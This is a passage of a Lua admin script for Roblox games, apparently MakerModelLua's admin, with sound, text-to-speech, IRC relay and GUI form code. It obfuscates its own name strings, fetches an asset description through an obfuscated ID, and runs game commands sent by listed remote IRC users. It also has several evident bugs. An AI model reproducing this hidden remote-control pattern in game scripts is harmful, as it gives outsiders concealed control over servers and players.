3319 local CreatorName = SoundInfo.Creator.Name
3320 SoundList[Name] = {ID, FullName, CreatorName}
3321 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3322 end
3323 end
3324
3325 if not CORE:NilPlayer(TellSync) then
3326 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3327 end
3328end
3329
3330function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3331 if not Volume then Volume = 0.5 end
3332 if not Pitch then Pitch = 1 end
3333 if tonumber(ID) then ID = "rbxassetid://"..ID end
3334 if Looped == nil then Looped = false end
3335
3336 local Sound = Instance.new("Sound", Parent)
3337 Sound.Pitch = Pitch
3338 Sound.Volume = Volume
3339 Sound.SoundId = ID
3340 Sound.Looped = Looped
3341 return Sound
3342end
3343
3344function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3345 if not Player or not ID then return nil end
3346 if NotifySounds[ID] then ID = NotifySounds[ID] end
3347 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3348 if Settings.EnableSounds or OverrideSettings then
3349 coroutine.wrap(function()
3350 wait()
3351 ClientSound:Play()
3352 Delay(5, function() ClientSound:Destroy() end)
3353 end)()
3354 end
3355 return Sound
3356end
3357
3358function SOUND:BindButton(Button)
3359 if not Button then return end
3360 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3361 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3362end
3363
3364function SOUND:StopGlobalSound()
3365 if Sound and Sound.Parent then
3366 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3367 Sound.Parent:Destroy()
3368 end
3369
3370 Sound:Stop()
3371 Sound:Destroy()
3372 Sound.SoundId = ""
3373 end
3374end
3375
3376function SOUND:PlayGlobalSound(ID, ShowInfo)
3377 SOUND:StopGlobalSound()
3378 if ShowInfo == nil then ShowInfo = true end
3379 local SoundID = ID
3380 local SoundName = nil
3381 local SoundCreator = nil
3382 local Pitch = 1
3383
3384 for Name,Info in pairs(SoundList) do
3385 if type(SoundID) == "string" then
3386 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3387 SoundID = Info[1]
3388 SoundName = Info[2]
3389 SoundCreator = Info[3]
3390 end
3391 else
3392 break
3393 end
3394 end
3395
3396 if tonumber(SoundID) and not SoundName then
3397 local Info = MARKET:GetItemInfo(SoundID, true)
3398 if Info then
3399 SoundName = Info.Name
3400 SoundCreator = Info.Creator.Name
3401 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3402 SoundID = nil
3403 end
3404 end
3405 end
3406
3407 if tonumber(SoundID) then
3408 if SoundID == 131201443 then Pitch = -1 end
3409 if SoundID == 130775695 then Pitch = 0.8 end
3410 if SoundID == 144035866 then Pitch = 0.8 end
3411
3412 local SoundParent = Server.Workspace
3413 if IsSB then
3414 SoundParent = Instance.new("Script", Workspace)
3415 SoundParent.Name = "M".."ML'S Admin Sound"
3416 end
3417 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3418 Sound.Name = "MML's Admin Sound "..SoundID
3419 Sound:Play()
3420 if ShowInfo == true then
3421 for _,Player in pairs(Server.Players:GetPlayers()) do
3422 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3423 end
3424 end
3425 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3426 end
3427end
3428
3429function SOUND:ConvertText(Text)
3430 Text = string.lower(tostring(Text))
3431 local Letters = {}
3432 local IDs = {}
3433 for Rule,Replace in pairs(TextConverter.Pronounce) do
3434 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3435 end
3436 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3437 local Start, End = string.find(Text, string.lower(Rule))
3438
3439 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3440 Text = string.gsub(Text, string.lower(Rule), Replace)
3441 end
3442 end
3443 for i = 1,#Text do
3444 table.insert(Letters, string.sub(Text,i,i))
3445 end
3446 for Num = 1,#Letters do
3447 if not Letters[Num] then break end
3448 local Letter = Letters[Num]
3449
3450 local function AddLetter()
3451 table.insert(IDs, TextConverter.LetterSounds[Letter])
3452 end
3453
3454 if Letter ~= "~" then
3455 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3456 table.insert(IDs, TextConverter.LetterSounds["oo"])
3457 table.remove(Letters, Num + 1)
3458 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3459 table.insert(IDs, TextConverter.LetterSounds["oo"])
3460 table.remove(Letters, Num + 1)
3461 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3462 table.insert(IDs, TextConverter.LetterSounds["th"])
3463 table.remove(Letters, Num + 1)
3464 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3465 table.insert(IDs, TextConverter.LetterSounds["sh"])
3466 table.remove(Letters, Num + 1)
3467 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3468 table.insert(IDs, TextConverter.LongVowels["e"])
3469 table.remove(Letters, Num + 1)
3470 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3471 table.insert(IDs, TextConverter.LetterSounds["wh"])
3472 table.remove(Letters, Num + 1)
3473 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3474 table.insert(IDs, TextConverter.LetterSounds["ch"])
3475 table.remove(Letters, Num + 1)
3476 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3477 table.insert(IDs, TextConverter.LetterSounds["f"])
3478 table.remove(Letters, Num + 1)
3479 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3480 table.insert(IDs, TextConverter.LetterSounds[Num])
3481 Letters[Num + 1] = "j"
3482 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3483 table.insert(IDs, TextConverter.LetterSounds["oo"])
3484 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3485 table.insert(IDs, TextConverter.LongVowels["e"])
3486 table.remove(Letters, Num + 1)
3487 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3488 table.insert(IDs, TextConverter.LongVowels["e"])
3489 table.remove(Letters, Num + 1)
3490 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3491 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3492 table.insert(IDs, TextConverter.LetterSounds["s"])
3493 Letters[Num + 1] = "~"
3494 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3495 table.insert(IDs, TextConverter.LongVowels[Letter])
3496 Letters[Num + 2] = "~"
3497 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3498 table.insert(IDs, TextConverter.LongVowels["i"])
3499 Letters[Num + 1] = "~"
3500 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3501 table.insert(IDs, TextConverter.LongVowels["o"])
3502 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3503 table.insert(IDs, TextConverter.LongVowels["i"])
3504 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3505 AddLetter()
3506 table.remove(Letters, Num + 1)
3507 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3508 Letters[Num] = "~"
3509 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3510 AddLetter()
3511 table.remove(Letters, Num + 1)
3512 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3513 AddLetter()
3514 table.remove(Letters, Num + 1)
3515 elseif Letters[Num+1] == Letter then
3516 table.remove(Letters, Num)
3517 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3518 AddLetter()
3519 table.remove(Letters, Num)
3520 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3521 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3522 elseif TextConverter.LetterSounds[Letter] then
3523 AddLetter()
3524 elseif STRING:IsSpacer(Letter) then
3525 table.insert(IDs, "Rest")
3526 end
3527 end
3528 end
3529
3530 return IDs
3531end
3532
3533function SOUND:StopSpeaking() coroutine.wrap(function()
3534 NoSpeak = true
3535 wait(1)
3536 NoSpeak = false
3537 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3538 if Obj.Name == "M".."M".."L Speak Sound" then
3539 Obj:Destroy()
3540 end
3541 end
3542end)() end
3543
3544function SOUND:SayConvertedText(IDs, Parent)
3545 if not Parent then Parent = Server.Workspace end
3546 local Sounds = {}
3547 for _,Data in pairs(IDs) do
3548 if NoSpeak and Parent == Server.Workspace then
3549 break
3550 end
3551 local Length = 0.3
3552 if Data ~= "Rest" then
3553 local ID = Data[1]
3554 Length = Data[2]
3555
3556 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3557 Sound.Name = "MML Speak Sound"
3558 table.insert(Sounds, Sound)
3559 Sound:Play()
3560 if Length then
3561 coroutine.wrap(function()
3562 wait(Length)
3563 Sound:Stop()
3564 end)()
3565 end
3566 end
3567 if not Length then Length = 0.3 end
3568 wait(Length/2)
3569 end
3570 coroutine.wrap(function()
3571 wait(1)
3572 for _,Sound in pairs(Sounds) do
3573 Sound:Destroy()
3574 end
3575 end)()
3576end
3577
3578local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3579
3580function SOUND:BeepPlayer(Player)
3581 if Player:FindFirstChild("PlayerGui") then
3582 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3583 Beep.Name = "Annoy"
3584 Beep:Play()
3585 end
3586end
3587
3588function SOUND:ClearInfo()
3589 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3590end
3591
3592-- IRC functions --
3593
3594function IRC:GenerateName()
3595 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3596end
3597
3598function IRC:AddChat(Name, Data, IsError)
3599 if not IsError then IsError = false end
3600 CORE:Log(IRC.Logs, Name, Data)
3601 table.insert(IRC.Chats, {Name, Data, IsError})
3602 IRC.MessageAdded:Fire(Name, Data, IsError)
3603end
3604
3605function IRC:Post(URL,Data)
3606 if Data and Data ~= "" then
3607 local Suc,Resp = ypcall(function()
3608 return Server.HS:PostAsync(
3609 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3610 Data,
3611 Enum.HttpContentType.ApplicationUrlEncoded
3612 )
3613 end)
3614 if not Suc then
3615 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3616 return false
3617 end
3618 IRC.SessionCounter = IRC.SessionCounter + 1
3619 return Resp
3620 else
3621 IRC:AddChat("[ CLIENT ]", "Unknown error")
3622 end
3623end
3624
3625function IRC:Send(Data)
3626 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3627end
3628
3629function IRC:GetData()
3630 return IRC:Post("s","&s="..IRC.SessionID)
3631end
3632
3633function IRC:Connect()
3634 return IRC:Post("n","&nick="..IRC.NickName)
3635end
3636
3637function IRC:Join(Channel)
3638 if not Channel then
3639 AddChat("[ CLIENT ]", "No channel specified!")
3640 return false
3641 else
3642 local Channel = string.lower(Channel)
3643 if string.sub(Channel,1,1) ~= "#" then
3644 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3645 return false
3646 end
3647 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3648 IRC:Send("JOIN "..Channel)
3649 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3650 return true
3651 end
3652end
3653
3654function IRC:Pong(Data)
3655 return IRC:Send("PONG :"..Data)
3656end
3657
3658function IRC:Quit(Reason)
3659 IRC.Stop = true
3660 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3661end
3662
3663function IRC:ReceiveData()
3664 IRC.Stop = false
3665 local Data = IRC:GetData()
3666 if Data then
3667 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3668 end
3669 while Data and not Stop do
3670 local Data = IRC:GetData()
3671 if Data and #Data > 0 then
3672 IRC:HandleResponse(REMOTE:Decode(Data))
3673 end
3674 wait(2) -- Don't spam the server
3675 end
3676 if not Data then
3677 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3678 end
3679 if Stop == true then
3680 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3681 end
3682end
3683
3684function IRC:ConnectToServer(Server)
3685 if Connected then
3686 if not IRC.Servers[Server] then
3687 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3688 return false
3689 end
3690 IRC:Quit("New Connection")
3691 end
3692 local Response = IRC:Connect()
3693 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3694 local Data = REMOTE:Decode(Response)
3695 IRC.SessionID = Data[2]
3696 wait(1)
3697 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3698 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3699 IRC:Quit()
3700 IRC:ConnectToServer(Server)
3701 end
3702 IRC.Connected = true
3703 IRC:Join(Settings.IRCChannel)
3704 IRC:ReceiveData()
3705 IRC.Connected = false
3706 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3707end
3708
3709function IRC:FindUser(UserName)
3710 for UserID,User in pairs(IRC.Users) do
3711 if string.lower(User) == string.lower(UserName) then
3712 return UserID
3713 end
3714 end
3715 return nil
3716end
3717
3718function IRC:HandleResponse(Data)
3719 if type(Data) ~= "table" then
3720 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3721 ypcall(function()
3722 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3723 end)
3724 return false
3725 end
3726 for _,Output in pairs(Data) do
3727 if type(Output) == "table" and Output[2] then
3728 local ID = string.upper(Output[2])
3729 if not IRC.Ignore[ID] then
3730 if ID == "PING" then
3731 IRC:Pong(Output[4][1])
3732 elseif ID == "PRIVMSG" then
3733 local SenderDetails = Output[3]
3734 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3735 local Channel = string.lower(Output[4][1])
3736 if Channel == IRC.NickName then
3737 Channel = Sender
3738 -- TODO: Handle PM's
3739 end
3740 local Message = Output[4][2]
3741 if Message ~= nil then
3742 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3743 if string.find(Message,":") then
3744 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3745 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3746 IRC:AddChat(IRCUser, IRCMessage)
3747 end
3748 else
3749 IRC:AddChat("[ IRC ] "..Sender,Message)
3750 for _,Name in pairs(Settings.IRCCommandExecuters) do
3751 if string.lower(Name) == string.lower(Sender) then
3752 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3753 break
3754 end
3755 end
3756 end
3757 else
3758 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3759 end
3760 elseif ID == "NICK" then
3761 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3762 -- change nickname?
3763 elseif ID == "433" or ID == "451" then
3764 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3765 IRC:Quit("Nickname in use, rejoining with new name")
3766 IRC.NickName = IRC:GenerateName()
3767 wait(2) -- wait for old sessions to end
3768 IRC:ConnectToServer(Settings.IRCServer)
3769 elseif ID == "353" then
3770 if Data[4][4][4] then
3771 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3772 table.insert(IRC.Users, Output)
3773 end
3774 end
3775 elseif ID == "QUIT" or ID == "PART" then
3776 for User in string.gmatch(Data[1][3], "[^!~]+") do
3777 if IRC:FindUser(User) then
3778 IRC:AddChat("[ IRC ]", User.." has left")
3779 table.remove(IRC.Users, IRC:FindUser(User))
3780 end
3781 end
3782 elseif ID == "JOIN" then
3783 for User in string.gmatch(Data[1][3], "[^!~]+") do
3784 if not string.find(User, "qwebirc") then
3785 IRC:AddChat("[ IRC ]", User.." has joined")
3786 table.insert(IRC.Users,w)
3787 end
3788 end
3789 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3790 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3791 --IRC:Quit("Connection lost")
3792 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3793 --IRC:ConnectToServer(Settings.IRCServer)
3794 elseif IRC.Codes[ID] then
3795 --print(ID)
3796 --print(Data[i][4][2])
3797 --print(Data[i][4][2])
3798 elseif ID == "KICK" then
3799 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3800 IRC:Quit("Kicked from IRC")
3801 elseif ID then
3802 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3803 else
3804 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3805 end
3806 end
3807 else
3808 if Output == false then return false end -- sneeky server
3809 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3810 end
3811 end
3812end
3813
3814-- GUI functions --
3815
3816function GUI:GetColor(ColorName)
3817 if not ColorName then ColorName = Settings.ColorScheme end
3818 return Colors[string.upper(ColorName)]
3819end
3820
3821function GUI:ContrastColor(Color)
3822 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3823 if not Color then Color = GUI:GetColor() end
3824 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3825end
3826
3827
3828function GUI:GetNameColor(Name)
3829 local Val = 0
3830 for i = 1, #Name do
3831 local CVal = string.byte(string.sub(Name, i, i))
3832 local RevIndex = #Name - i + 1
3833 if #Name%2 == 1 then
3834 RevIndex = RevIndex - 1
3835 end
3836 if RevIndex%4 >= 2 then
3837 CVal = -CVal
3838 end
3839 Val = Val + CVal
3840 end
3841 local Index = Val%8 + 1
3842
3843 return BrickColor.new(ChatColors[Index])
3844end
3845
3846function GUI:Color3ToHex(Color)
3847 local function ConvertNumber(Number)
3848 local HexString = "0123456789abcdef"
3849 local Byte = ""
3850 while Number > 0 do
3851 local Calc = math.fmod(Number, 16)
3852 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3853 Number = math.floor(Number / 16)
3854 end
3855 if Calc == "" then
3856 Byte = "00"
3857 elseif #Byte == 1 then
3858 Byte = "0"..Byte
3859 elseif Byte == "" then
3860 Byte = "00"
3861 end
3862 return Byte
3863 end
3864 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3865end
3866
3867function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3868 if not Player then return nil end
3869 if not Player:FindFirstChild("PlayerGui") then return nil end
3870 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3871 if not TitleText then TitleText = "Unknown" end
3872 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3873 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3874 if not IconID then IconID = 19919809 end
3875 if ShowFormButtons == nil then ShowFormButtons = true end
3876 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3877 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3878 if AutoOffset == nil then AutoOffset = true end
3879 if Icons[IconID] then IconID = Icons[IconID] end
3880 if TweenPosition == nil then TweenPosition = true end
3881 if NoModal == nil then NoModal = false end
3882 if NoScrollFrame == nil then NoScrollFrame = false end
3883
3884 local IsClosed = false
3885 local Minus = nil
3886 local Offset = 0
3887 local ContentType = "ScrollingFrame"
3888 local TweenSpeed = 0.3
3889
3890 if AutoOffset then
3891 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3892 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3893 if Item.IsActive.Value == true then
3894 if Item.IsTrueForm.Value == true then
3895 Offset = Offset + 50
3896 end
3897 end
3898 end
3899 end
3900 end
3901
3902 if NoScrollFrame == true then
3903 ContentType = "Frame"
3904 end
3905
3906 SOUND:PlayNotification(Player, 155331654)
3907
3908 local Position = Position + UDim2.new(0,Offset,0,Offset)
3909 local MinimizePos = Position
3910
3911 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3912 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3913 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3914
3915 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3916 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3917 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3918 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3919 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3920 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3921 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3922 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3923 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3924
3925 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3926 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3927 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3928 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3929 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3930
3931 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3932
3933 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3934
3935 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3936 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3937 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3938 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3939 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3940 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3941
3942 if Settings.EnableTaskBar then
3943 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3944 else
3945 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3946 Title.Size = UDim2.new(1, -95, 0, 25)
3947 end
3948
3949 if not ShowFormButtons then
3950 X:Destroy()
3951 TitleEnd:Destroy()
3952 Title.Size = UDim2.new(1, -55, 0, 25)
3953 end
3954
3955 local function CloseForm()
3956 if IsClosed == false then
3957 IsActive.Value = false
3958 IsClosed = true
3959 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
3960 Closed:Fire()
3961 SOUND:PlayNotification(Player, 206375138)
3962 end
3963 end
3964
3965 local function MinimizeForm()
3966 if IsActive.Value == true then
3967 IsActive.Value = false
3968 Minimized:Fire()
3969 MinimizePos = Dragger.Position
3970 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3971 end
3972 end
3973
3974 local function RestoreForm()
3975 if IsActive.Value == false then
3976 IsActive.Value = true
3977 Restored:Fire()
3978 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3979 end
3980 end
3981
3982 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3983 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3984
3985 Close.OnInvoke = CloseForm
3986 Minimize.OnInvoke = MinimizeForm
3987 Restore.OnInvoke = RestoreForm
3988
3989 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3990
3991 if TaskBar then
3992 TaskBar:WaitForChild("AddForm")
3993 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3994 end
3995
3996 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
3997end
3998
3999function GUI:CoreGui(Player, Type, Enable)
4000 local Parent = Player:FindFirstChild("Backpack")
4001 if not Parent then Parent = Player.Backpack end
4002 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4003end
4004
4005function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4006 if not Player or not Player:IsA("Player") then return nil end
4007 if BodyText == "" then return nil end
4008 if not Player:FindFirstChild("PlayerGui") then return nil end
4009
4010 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4011 local TextColor = GUI:GetColor(MessageSplit[1])
4012 if TextColor then BodyText = MessageSplit[2] end
4013 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4014
4015 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
